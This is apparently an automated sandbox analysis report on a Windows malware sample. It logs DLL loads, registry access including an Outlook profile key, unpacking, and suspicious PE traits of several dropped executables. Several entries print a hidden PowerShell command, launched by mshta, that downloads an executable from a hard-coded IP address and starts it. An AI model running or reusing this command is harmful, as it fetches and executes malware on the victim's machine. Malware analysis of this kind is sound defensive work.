Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\mshta.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32 Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: px4Y74kUj2.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: px4Y74kUj2.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: px4Y74kUj2.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: px4Y74kUj2.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: px4Y74kUj2.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: px4Y74kUj2.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: px4Y74kUj2.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: re.pdb*T source: powershell.exe, 00000009.00000002.2402141054.0000020D731D3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: 6?t.Automation.pdb source: powershell.exe, 00000009.00000002.2402141054.0000020D731D3000.00000004.00000020.00020000.00000000.sdmp
Source: px4Y74kUj2.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: px4Y74kUj2.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: px4Y74kUj2.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: px4Y74kUj2.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: px4Y74kUj2.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Unpacked PE file: 11.2.TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.bd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 12.2.skotes.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Unpacked PE file: 13.2.TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.bd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 14.2.skotes.exe.da0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Unpacked PE file: 20.2.f9cb675f2a.exe.2d0000.0.unpack :EW;.rsrc:W;.idata :W;yxqcktdx:EW;oloxdyrn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yxqcktdx:EW;oloxdyrn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE Unpacked PE file: 52.2.TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.490000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rtrxnzik:EW;vyhzfbjm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Unpacked PE file: 53.2.37a2af455e.exe.fe0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kdgxxfxm:EW;tqdhugzr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kdgxxfxm:EW;tqdhugzr:EW;.taggant:EW;
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Binary contains a suspicious time stamp
Source: random[2].exe0.19.dr Static PE information: 0x93B226EE [Thu Jul 9 16:48:46 2048 UTC]
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_004342DE
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: random[2].exe.19.dr Static PE information: real checksum: 0x2100d0 should be: 0x20ecc3
Source: skotes.exe.11.dr Static PE information: real checksum: 0x218f49 should be: 0x215024
Source: random[1].exe1.19.dr Static PE information: real checksum: 0x1cc305 should be: 0x1c6d40
Source: d04aa34f51.exe.19.dr Static PE information: real checksum: 0x1cc305 should be: 0x1c6d40
Source: Bjkm5hE[1].exe.19.dr Static PE information: real checksum: 0x1b99da should be: 0x1b6df8
Source: random[3].exe.19.dr Static PE information: real checksum: 0x2056a0 should be: 0x204ada
Source: random[1].exe0.19.dr Static PE information: real checksum: 0x1d4852 should be: 0x1d7f5c
Source: TG67OTJ18BVHVRMCFQ98FSDHWCPRENC.exe.36.dr Static PE information: real checksum: 0x1cc305 should be: 0x1c6d40
Source: 37a2af455e.exe.19.dr Static PE information: real checksum: 0x427ca1 should be: 0x4325fa
Source: f9cb675f2a.exe.19.dr Static PE information: real checksum: 0x65310f should be: 0x64fc36
Source: 1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe.21.dr Static PE information: real checksum: 0x1cc305 should be: 0x1c6d40
Source: a0be961972.exe.19.dr Static PE information: real checksum: 0x2100d0 should be: 0x20ecc3
Source: BYDYGQX1ICXGMYWQ53H5H6EE1S.exe.36.dr Static PE information: real checksum: 0x218f49 should be: 0x215024
Source: VXAIPJHLIAGNKZRZS3E57X.exe.21.dr Static PE information: real checksum: 0x218f49 should be: 0x215024
Source: TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.43.dr Static PE information: real checksum: 0x218f49 should be: 0x215024
Source: 6609830e7b.exe.19.dr Static PE information: real checksum: 0x2056a0 should be: 0x204ada
Source: df1dfa8044.exe.19.dr Static PE information: real checksum: 0x1d4852 should be: 0x1d7f5c
Source: random[1].exe.19.dr Static PE information: real checksum: 0x65310f should be: 0x64fc36
Source: Bjkm5hE.exe.19.dr Static PE information: real checksum: 0x1b99da should be: 0x1b6df8
Source: random[2].exe2.19.dr Static PE information: real checksum: 0x427ca1 should be: 0x4325fa
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: real checksum: 0x218f49 should be: 0x215024
PE file contains sections with non-standard names
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name:
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name: .idata
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name:
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name: rtrxnzik
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name: vyhzfbjm
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.6.dr Static PE information: section name: .taggant
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: .idata
Source: skotes.exe.11.dr Static PE information: section name:
Source: skotes.exe.11.dr Static PE information: section name: rtrxnzik
Source: skotes.exe.11.dr Static PE information: section name: vyhzfbjm
Source: skotes.exe.11.dr Static PE information: section name: .taggant
Source: 6609830e7b.exe.19.dr Static PE information: section name:
Source: 6609830e7b.exe.19.dr Static PE information: section name: .idata
Source: 6609830e7b.exe.19.dr Static PE information: section name:
Source: 6609830e7b.exe.19.dr Static PE information: section name: bdaxirak
Source: 6609830e7b.exe.19.dr Static PE information: section name: yrhfonxe
Source: 6609830e7b.exe.19.dr Static PE information: section name: .taggant
Source: random[2].exe.19.dr Static PE information: section name:
Source: random[2].exe.19.dr Static PE information: section name: .idata
Source: random[2].exe.19.dr Static PE information: section name:
Source: random[2].exe.19.dr Static PE information: section name: enqbupfi
Source: random[2].exe.19.dr Static PE information: section name: pjlczzzw
Source: random[2].exe.19.dr Static PE information: section name: .taggant
Source: a0be961972.exe.19.dr Static PE information: section name:
Source: a0be961972.exe.19.dr Static PE information: section name: .idata
Source: a0be961972.exe.19.dr Static PE information: section name:
Source: a0be961972.exe.19.dr Static PE information: section name: enqbupfi
Source: a0be961972.exe.19.dr Static PE information: section name: pjlczzzw
Source: a0be961972.exe.19.dr Static PE information: section name: .taggant
Source: random[1].exe.19.dr Static PE information: section name:
Source: random[1].exe.19.dr Static PE information: section name: .idata
Source: random[1].exe.19.dr Static PE information: section name: yxqcktdx
Source: random[1].exe.19.dr Static PE information: section name: oloxdyrn
Source: random[1].exe.19.dr Static PE information: section name: .taggant
Source: f9cb675f2a.exe.19.dr Static PE information: section name:
Source: f9cb675f2a.exe.19.dr Static PE information: section name: .idata
Source: f9cb675f2a.exe.19.dr Static PE information: section name: yxqcktdx
Source: f9cb675f2a.exe.19.dr Static PE information: section name: oloxdyrn
Source: f9cb675f2a.exe.19.dr Static PE information: section name: .taggant
Source: random[1].exe0.19.dr Static PE information: section name:
Source: random[1].exe0.19.dr Static PE information: section name: .idata
Source: random[1].exe0.19.dr Static PE information: section name:
Source: random[1].exe0.19.dr Static PE information: section name: swebfrpr
Source: random[1].exe0.19.dr Static PE information: section name: xkhqbket
Source: random[1].exe0.19.dr Static PE information: section name: .taggant
Source: df1dfa8044.exe.19.dr Static PE information: section name:
Source: df1dfa8044.exe.19.dr Static PE information: section name: .idata
Source: df1dfa8044.exe.19.dr Static PE information: section name:
Source: df1dfa8044.exe.19.dr Static PE information: section name: swebfrpr
Source: df1dfa8044.exe.19.dr Static PE information: section name: xkhqbket
Source: df1dfa8044.exe.19.dr Static PE information: section name: .taggant
Source: random[1].exe1.19.dr Static PE information: section name:
Source: random[1].exe1.19.dr Static PE information: section name: .idata
Source: random[1].exe1.19.dr Static PE information: section name:
Source: random[1].exe1.19.dr Static PE information: section name: ssjfjqgu
Source: random[1].exe1.19.dr Static PE information: section name: cpkobjmh
Source: random[1].exe1.19.dr Static PE information: section name: .taggant
Source: d04aa34f51.exe.19.dr Static PE information: section name:
Source: d04aa34f51.exe.19.dr Static PE information: section name: .idata
Source: d04aa34f51.exe.19.dr Static PE information: section name:
Source: d04aa34f51.exe.19.dr Static PE information: section name: ssjfjqgu
Source: d04aa34f51.exe.19.dr Static PE information: section name: cpkobjmh
Source: d04aa34f51.exe.19.dr Static PE information: section name: .taggant
Source: KUQRYpJ[1].exe.19.dr Static PE information: section name: .00cfg
Source: KUQRYpJ[1].exe.19.dr Static PE information: section name: .omX
Source: KUQRYpJ[1].exe.19.dr Static PE information: section name: .uVz
Source: KUQRYpJ[1].exe.19.dr Static PE information: section name: .}=J
Source: KUQRYpJ.exe.19.dr Static PE information: section name: .00cfg
